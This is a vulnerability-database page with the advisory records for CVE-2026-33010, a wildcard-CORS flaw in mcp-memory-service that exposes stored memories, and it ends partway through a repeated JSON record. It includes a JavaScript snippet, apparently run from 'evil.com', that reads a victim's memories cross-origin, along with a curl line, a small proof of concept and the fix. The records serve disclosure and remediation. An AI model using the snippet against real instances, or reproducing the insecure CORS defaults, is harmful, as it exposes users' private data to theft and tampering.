Vulnerability-Lookup

PYSEC-2026-2625

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:04

Details

Summary

When the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.

Details

Vulnerable Code

config.py:546 - Wildcard CORS origin default

CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')

This produces ['*'] by default, allowing any origin.

app.py:274-280 - CORSMiddleware configuration

# CORS middleware
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,        # ['*'] by default
    allow_credentials=True,             # Unnecessary for anonymous access; bad practice
    allow_methods=["*"],
    allow_headers=["*"],
)

How the Attack Works

The wildcard CORS default means every API response includes Access-Control-Allow-Origin: *. This tells browsers to allow any website to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:

// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes

The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.

Clarification on allow_credentials=True: The advisory originally stated that Starlette reflects the Origin header when allow_credentials=True with wildcard origins. Testing with Starlette 0.52.1 shows that actual responses return ACAO: * (not the reflected origin); only preflight OPTIONS responses reflect the origin. Per the Fetch specification, browsers block ACAO: * when credentials: 'include' is used. However, this is irrelevant to the attack because anonymous access means no credentials are needed - a plain fetch() without credentials: 'include' works, and ACAO: * allows it.

Two Attack Vectors

This misconfiguration enables two distinct attack paths:

1. Cross-origin browser attack (CORS - this advisory) - Attacker lures victim to a malicious webpage - JavaScript on the page reads/writes the memory service API - Works from anywhere on the internet if the victim visits the page - The ACAO: * header is what allows the browser to expose the response to the attacker's JavaScript

2. Direct network access (compounding factor) - Attacker on the same network directly calls the API (curl http://<target>:8000/api/memories) - No CORS involved - CORS is a browser-only restriction - Enabled by 0.0.0.0 binding + anonymous access, independent of CORS configuration

The CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.

Compounding Factors

HTTP_HOST = '0.0.0.0' - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)
HTTPS_ENABLED = 'false' - No TLS by default, allowing passive interception
MCP_ALLOW_ANONYMOUS_ACCESS - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which ACAO: * blocks)
allow_credentials=True - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users
API key via query parameter - api_key query param is cached in browser history and server logs

Attack Scenario

Victim runs mcp-memory-service with HTTP enabled and anonymous access
Victim visits https://evil.com which includes JavaScript
JavaScript sends fetch('http://<victim-ip>:8000/api/memories') (no credentials needed)
Server responds with Access-Control-Allow-Origin: *
Browser allows JavaScript to read the response - attacker receives all memories
Attacker's script also calls DELETE/PUT endpoints to modify or destroy memories
Victim sees a normal web page; no indication of the attack

Root Cause

The default value of MCP_CORS_ORIGINS is *, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically localhost). The allow_credentials=True is an additional misconfiguration that doesn't currently enable the attack.

PoC

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/api/memories")
def memories():
    return [{"content": "secret memory data"}]

client = TestClient(app)

# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"])  # *
print(response.json())  # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *

Impact

Complete cross-origin memory access: Any website can read all stored memories when the victim has the HTTP server running with anonymous access
Memory tampering: Write/delete endpoints are also accessible cross-origin, allowing memory destruction
Remote attack surface: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link
Silent exfiltration: The attack is invisible to the victim; no browser warnings, no popups, no indicators

Remediation

Replace the wildcard default with an explicit localhost origin:

# In config.py  (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')

# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
    logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
                    "Set MCP_CORS_ORIGINS to restrict access.")

# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,
    allow_credentials='*' not in CORS_ORIGINS,  # Only with explicit origins
    allow_methods=["*"],
    allow_headers=["*"],
)

Affected Deployments

The vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to 0.0.0.0, maps the port, and does not override the wildcard CORS default.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Impacted products

Name	purl
mcp-memory-service	pkg:pypi/mcp-memory-service

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-memory-service",
        "purl": "pkg:pypi/mcp-memory-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0",
        "10.0.1",
        "10.0.2",
        "10.0.3",
        "10.1.0",
        "10.1.1",
        "10.1.2",
        "10.10.0",
        "10.10.1",
        "10.10.2",
        "10.10.3",
        "10.10.4",
        "10.10.5",
        "10.10.6",
        "10.11.0",
        "10.11.1",
        "10.11.2",
        "10.12.0",
        "10.12.1",
        "10.13.0",
        "10.13.1",
        "10.13.2",
        "10.14.0",
        "10.15.0",
        "10.15.1",
        "10.16.0",
        "10.16.1",
        "10.17.0",
        "10.17.10",
        "10.17.12",
        "10.17.13",
        "10.17.14",
        "10.17.15",
        "10.17.16",
        "10.17.2",
        "10.17.3",
        "10.17.4",
        "10.17.5",
        "10.17.6",
        "10.17.7",
        "10.17.8",
        "10.17.9",
        "10.18.0",
        "10.18.1",
        "10.18.2",
        "10.18.3",
        "10.19.0",
        "10.2.0",
        "10.2.1",
        "10.20.0",
        "10.20.1",
        "10.20.2",
        "10.20.4",
        "10.20.5",
        "10.20.6",
        "10.21.0",
        "10.21.1",
        "10.22.0",
        "10.23.0",
        "10.24.0",
        "10.25.0",
        "10.3.0",
        "10.4.0",
        "10.4.1",
        "10.4.2",
        "10.4.3",
        "10.4.4",
        "10.4.5",
        "10.4.6",
        "10.5.0",
        "10.5.1",
        "10.6.0",
        "10.6.1",
        "10.7.0",
        "10.7.1",
        "10.7.2",
        "10.8.0",
        "10.9.0",
        "8.24.0",
        "8.25.1",
        "8.25.2",
        "8.26.0",
        "8.27.0",
        "8.27.1",
        "8.27.2",
        "8.28.0",
        "8.28.1",
        "8.29.0",
        "8.30.0",
        "8.31.0",
        "8.32.0",
        "8.33.0",
        "8.34.0",
        "8.35.0",
        "8.36.0",
        "8.36.1",
        "8.37.0",
        "8.38.0",
        "8.38.1",
        "8.39.0",
        "8.39.1",
        "8.40.0",
        "8.41.0",
        "8.41.1",
        "8.41.2",
        "8.42.0",
        "8.42.1",
        "8.43.0",
        "8.44.0",
        "8.45.0",
        "8.45.1",
        "8.45.2",
        "8.45.3",
        "8.46.0",
        "8.46.1",
        "8.46.2",
        "8.46.3",
        "8.47.0",
        "8.47.1",
        "8.48.0",
        "8.48.1",
        "8.48.2",
        "8.48.3",
        "8.48.4",
        "8.49.0",
        "8.50.0",
        "8.50.1",
        "8.51.0",
        "8.52.0",
        "8.52.1",
        "8.52.2",
        "8.53.0",
        "8.54.0",
        "8.54.1",
        "8.54.2",
        "8.54.3",
        "8.54.4",
        "8.55.0",
        "8.57.1",
        "8.58.0",
        "8.59.0",
        "8.60.0",
        "8.61.0",
        "8.61.1",
        "8.61.2",
        "8.62.0",
        "8.62.1",
        "8.62.10",
        "8.62.11",
        "8.62.12",
        "8.62.13",
        "8.62.2",
        "8.62.3",
        "8.62.4",
        "8.62.5",
        "8.62.6",
        "8.62.7",
        "8.62.8",
        "8.62.9",
        "8.63.0",
        "8.63.1",
        "8.64.0",
        "8.65.0",
        "8.66.0",
        "8.67.0",
        "8.68.0",
        "8.68.1",
        "8.68.2",
        "8.69.0",
        "8.70.0",
        "8.71.0",
        "8.72.0",
        "8.73.0",
        "8.74.0",
        "8.75.0",
        "8.75.1",
        "8.76.0",
        "9.0.0",
        "9.0.1",
        "9.0.2",
        "9.0.3",
        "9.0.4",
        "9.0.5",
        "9.0.6",
        "9.2.0",
        "9.2.1",
        "9.3.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33010",
    "GHSA-g9rg-8vq5-mpwm"
  ],
  "details": "### Summary\nWhen the HTTP server is enabled (`MCP_HTTP_ENABLED=true`), the application configures FastAPI\u0027s CORSMiddleware with `allow_origins=[\u0027*\u0027]`, `allow_credentials=True`, `allow_methods=[\"*\"]`, and `allow_headers=[\"*\"]`. The wildcard `Access-Control-Allow-Origin: *` header permits any website to read API responses cross-origin. When combined with anonymous access (`MCP_ALLOW_ANONYMOUS_ACCESS=true`) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.\n\n\n### Details\n### Vulnerable Code\n\n**`config.py:546` - Wildcard CORS origin default**\n\n```python\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027*\u0027).split(\u0027,\u0027)\n```\n\nThis produces `[\u0027*\u0027]` by default, allowing any origin.\n\n**`app.py:274-280` - CORSMiddleware configuration**\n\n```python\n# CORS middleware\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,        # [\u0027*\u0027] by default\n    allow_credentials=True,             # Unnecessary for anonymous access; bad practice\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n### How the Attack Works\n\nThe wildcard CORS default means every API response includes `Access-Control-Allow-Origin: *`. This tells browsers to allow **any website** to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:\n\n```javascript\n// Running on https://evil.com - reads victim\u0027s memories\n// No credentials needed - anonymous access means the API is open\nconst response = await fetch(\u0027http://192.168.1.100:8000/api/memories\u0027);\nconst memories = await response.json();\n// memories contains every stored memory - passwords, API keys, personal notes\n```\n\nThe browser sends the request, the server responds with `ACAO: *`, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.\n\n**Clarification on `allow_credentials=True`:** The advisory originally stated that Starlette reflects the `Origin` header when `allow_credentials=True` with wildcard origins. Testing with Starlette 0.52.1 shows that **actual responses return `ACAO: *`** (not the reflected origin); only preflight `OPTIONS` responses reflect the origin. Per the Fetch specification, browsers block `ACAO: *` when `credentials: \u0027include\u0027` is used. However, this is irrelevant to the attack because **anonymous access means no credentials are needed** - a plain `fetch()` without `credentials: \u0027include\u0027` works, and `ACAO: *` allows it.\n\n### Two Attack Vectors\n\nThis misconfiguration enables two distinct attack paths:\n\n**1. Cross-origin browser attack (CORS - this advisory)**\n- Attacker lures victim to a malicious webpage\n- JavaScript on the page reads/writes the memory service API\n- Works from anywhere on the internet if the victim visits the page\n- The `ACAO: *` header is what allows the browser to expose the response to the attacker\u0027s JavaScript\n\n**2. Direct network access (compounding factor)**\n- Attacker on the same network directly calls the API (`curl http://\u003ctarget\u003e:8000/api/memories`)\n- No CORS involved - CORS is a browser-only restriction\n- Enabled by `0.0.0.0` binding + anonymous access, independent of CORS configuration\n\nThe CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.\n\n### Compounding Factors\n\n- **`HTTP_HOST = \u00270.0.0.0\u0027`** - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)\n- **`HTTPS_ENABLED = \u0027false\u0027`** - No TLS by default, allowing passive interception\n- **`MCP_ALLOW_ANONYMOUS_ACCESS`** - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which `ACAO: *` blocks)\n- **`allow_credentials=True`** - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users\n- **API key via query parameter** - `api_key` query param is cached in browser history and server logs\n\n### Attack Scenario\n\n1. Victim runs `mcp-memory-service` with HTTP enabled and anonymous access\n2. Victim visits `https://evil.com` which includes JavaScript\n3. JavaScript sends `fetch(\u0027http://\u003cvictim-ip\u003e:8000/api/memories\u0027)` (no credentials needed)\n4. Server responds with `Access-Control-Allow-Origin: *`\n5. Browser allows JavaScript to read the response - attacker receives all memories\n6. Attacker\u0027s script also calls DELETE/PUT endpoints to modify or destroy memories\n7. Victim sees a normal web page; no indication of the attack\n\n### Root Cause\n\nThe default value of `MCP_CORS_ORIGINS` is `*`, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically `localhost`). The `allow_credentials=True` is an additional misconfiguration that doesn\u0027t currently enable the attack.\n\n\n### PoC\n```python\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom starlette.testclient import TestClient\n\napp = FastAPI()\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n@app.get(\"/api/memories\")\ndef memories():\n    return [{\"content\": \"secret memory data\"}]\n\nclient = TestClient(app)\n\n# Non-credentialed request (how the real attack works with anonymous access)\nresponse = client.get(\"/api/memories\", headers={\"Origin\": \"https://evil.com\"})\nprint(response.headers[\"access-control-allow-origin\"])  # *\nprint(response.json())  # [{\"content\": \"secret memory data\"}]\n# Any website can read this response because ACAO is *\n```\n\n\n### Impact\n- **Complete cross-origin memory access**: Any website can read all stored memories when the victim has the HTTP server running with anonymous access\n- **Memory tampering**: Write/delete endpoints are also accessible cross-origin, allowing memory destruction\n- **Remote attack surface**: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link\n- **Silent exfiltration**: The attack is invisible to the victim; no browser warnings, no popups, no indicators\n\n## Remediation\n\nReplace the wildcard default with an explicit localhost origin:\n\n```python\n# In config.py  (safe default)\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027http://localhost:8000,http://127.0.0.1:8000\u0027).split(\u0027,\u0027)\n\n# In app.py - warn on wildcard\nif \u0027*\u0027 in CORS_ORIGINS:\n    logger.warning(\"Wildcard CORS origin detected. This allows any website to access the API. \"\n                    \"Set MCP_CORS_ORIGINS to restrict access.\")\n\n# Also: set allow_credentials=False unless specific origins are configured\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,\n    allow_credentials=\u0027*\u0027 not in CORS_ORIGINS,  # Only with explicit origins\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n## Affected Deployments\nThe vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to `0.0.0.0`, maps the port, and does not override the wildcard CORS default.",
  "id": "PYSEC-2026-2625",
  "modified": "2026-07-13T16:04:48.960229Z",
  "published": "2026-07-13T14:36:41.458247Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/doobidoo/mcp-memory-service"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mcp-memory-service"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9rg-8vq5-mpwm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-memory-service\u0027s Wildcard CORS with Credentials Enables Cross-Origin Memory Theft"
}

CVE-2026-33010 (GCVE-0-2026-33010)

Vulnerability from cvelistv5 – Published: 2026-03-20 18:33 – Updated: 2026-03-20 23:26

Title

mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft

Summary

mcp-memory-service is an open-source memory backend for multi-agent systems. Prior to version 10.25.1, when the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories. This issue has been patched in version 10.25.1.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-942 - Permissive Cross-domain Policy with Untrusted Domains

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/doobidoo/mcp-memory-service/se…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
doobidoo	mcp-memory-service	Affected: < 10.25.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33010",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-20T21:28:21.076561Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-20T23:26:06.857Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-memory-service",
          "vendor": "doobidoo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.25.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "mcp-memory-service is an open-source memory backend for multi-agent systems. Prior to version 10.25.1, when the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI\u0027s CORSMiddleware with allow_origins=[\u0027*\u0027], allow_credentials=True, allow_methods=[\"*\"], and allow_headers=[\"*\"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories. This issue has been patched in version 10.25.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-942",
              "description": "CWE-942: Permissive Cross-domain Policy with Untrusted Domains",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-20T18:33:39.007Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm"
        }
      ],
      "source": {
        "advisory": "GHSA-g9rg-8vq5-mpwm",
        "discovery": "UNKNOWN"
      },
      "title": "mcp-memory-service\u0027s Wildcard CORS with Credentials Enables Cross-Origin Memory Theft"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33010",
    "datePublished": "2026-03-20T18:33:39.007Z",
    "dateReserved": "2026-03-17T17:22:14.664Z",
    "dateUpdated": "2026-03-20T23:26:06.857Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-G9RG-8VQ5-MPWM

Vulnerability from github – Published: 2026-03-07 02:12 – Updated: 2026-03-20 21:32

Summary

mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft

Details

Summary

Details

Vulnerable Code

config.py:546 - Wildcard CORS origin default

CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')

This produces ['*'] by default, allowing any origin.

app.py:274-280 - CORSMiddleware configuration

# CORS middleware
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,        # ['*'] by default
    allow_credentials=True,             # Unnecessary for anonymous access; bad practice
    allow_methods=["*"],
    allow_headers=["*"],
)

How the Attack Works

// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes

The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.

Two Attack Vectors

This misconfiguration enables two distinct attack paths:

The CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.

Compounding Factors

HTTP_HOST = '0.0.0.0' - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)
HTTPS_ENABLED = 'false' - No TLS by default, allowing passive interception
MCP_ALLOW_ANONYMOUS_ACCESS - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which ACAO: * blocks)
allow_credentials=True - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users
API key via query parameter - api_key query param is cached in browser history and server logs

Attack Scenario

Victim runs mcp-memory-service with HTTP enabled and anonymous access
Victim visits https://evil.com which includes JavaScript
JavaScript sends fetch('http://<victim-ip>:8000/api/memories') (no credentials needed)
Server responds with Access-Control-Allow-Origin: *
Browser allows JavaScript to read the response - attacker receives all memories
Attacker's script also calls DELETE/PUT endpoints to modify or destroy memories
Victim sees a normal web page; no indication of the attack

Root Cause

PoC

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/api/memories")
def memories():
    return [{"content": "secret memory data"}]

client = TestClient(app)

# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"])  # *
print(response.json())  # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *

Impact

Complete cross-origin memory access: Any website can read all stored memories when the victim has the HTTP server running with anonymous access
Memory tampering: Write/delete endpoints are also accessible cross-origin, allowing memory destruction
Remote attack surface: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link
Silent exfiltration: The attack is invisible to the victim; no browser warnings, no popups, no indicators

Remediation

Replace the wildcard default with an explicit localhost origin:

# In config.py  (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')

# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
    logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
                    "Set MCP_CORS_ORIGINS to restrict access.")

# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,
    allow_credentials='*' not in CORS_ORIGINS,  # Only with explicit origins
    allow_methods=["*"],
    allow_headers=["*"],
)

Affected Deployments

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-memory-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:12:26Z",
    "nvd_published_at": "2026-03-20T19:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen the HTTP server is enabled (`MCP_HTTP_ENABLED=true`), the application configures FastAPI\u0027s CORSMiddleware with `allow_origins=[\u0027*\u0027]`, `allow_credentials=True`, `allow_methods=[\"*\"]`, and `allow_headers=[\"*\"]`. The wildcard `Access-Control-Allow-Origin: *` header permits any website to read API responses cross-origin. When combined with anonymous access (`MCP_ALLOW_ANONYMOUS_ACCESS=true`) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.\n\n\n### Details\n### Vulnerable Code\n\n**`config.py:546` - Wildcard CORS origin default**\n\n```python\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027*\u0027).split(\u0027,\u0027)\n```\n\nThis produces `[\u0027*\u0027]` by default, allowing any origin.\n\n**`app.py:274-280` - CORSMiddleware configuration**\n\n```python\n# CORS middleware\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,        # [\u0027*\u0027] by default\n    allow_credentials=True,             # Unnecessary for anonymous access; bad practice\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n### How the Attack Works\n\nThe wildcard CORS default means every API response includes `Access-Control-Allow-Origin: *`. This tells browsers to allow **any website** to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:\n\n```javascript\n// Running on https://evil.com - reads victim\u0027s memories\n// No credentials needed - anonymous access means the API is open\nconst response = await fetch(\u0027http://192.168.1.100:8000/api/memories\u0027);\nconst memories = await response.json();\n// memories contains every stored memory - passwords, API keys, personal notes\n```\n\nThe browser sends the request, the server responds with `ACAO: *`, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.\n\n**Clarification on `allow_credentials=True`:** The advisory originally stated that Starlette reflects the `Origin` header when `allow_credentials=True` with wildcard origins. Testing with Starlette 0.52.1 shows that **actual responses return `ACAO: *`** (not the reflected origin); only preflight `OPTIONS` responses reflect the origin. Per the Fetch specification, browsers block `ACAO: *` when `credentials: \u0027include\u0027` is used. However, this is irrelevant to the attack because **anonymous access means no credentials are needed** - a plain `fetch()` without `credentials: \u0027include\u0027` works, and `ACAO: *` allows it.\n\n### Two Attack Vectors\n\nThis misconfiguration enables two distinct attack paths:\n\n**1. Cross-origin browser attack (CORS - this advisory)**\n- Attacker lures victim to a malicious webpage\n- JavaScript on the page reads/writes the memory service API\n- Works from anywhere on the internet if the victim visits the page\n- The `ACAO: *` header is what allows the browser to expose the response to the attacker\u0027s JavaScript\n\n**2. Direct network access (compounding factor)**\n- Attacker on the same network directly calls the API (`curl http://\u003ctarget\u003e:8000/api/memories`)\n- No CORS involved - CORS is a browser-only restriction\n- Enabled by `0.0.0.0` binding + anonymous access, independent of CORS configuration\n\nThe CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.\n\n### Compounding Factors\n\n- **`HTTP_HOST = \u00270.0.0.0\u0027`** - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)\n- **`HTTPS_ENABLED = \u0027false\u0027`** - No TLS by default, allowing passive interception\n- **`MCP_ALLOW_ANONYMOUS_ACCESS`** - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which `ACAO: *` blocks)\n- **`allow_credentials=True`** - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users\n- **API key via query parameter** - `api_key` query param is cached in browser history and server logs\n\n### Attack Scenario\n\n1. Victim runs `mcp-memory-service` with HTTP enabled and anonymous access\n2. Victim visits `https://evil.com` which includes JavaScript\n3. JavaScript sends `fetch(\u0027http://\u003cvictim-ip\u003e:8000/api/memories\u0027)` (no credentials needed)\n4. Server responds with `Access-Control-Allow-Origin: *`\n5. Browser allows JavaScript to read the response - attacker receives all memories\n6. Attacker\u0027s script also calls DELETE/PUT 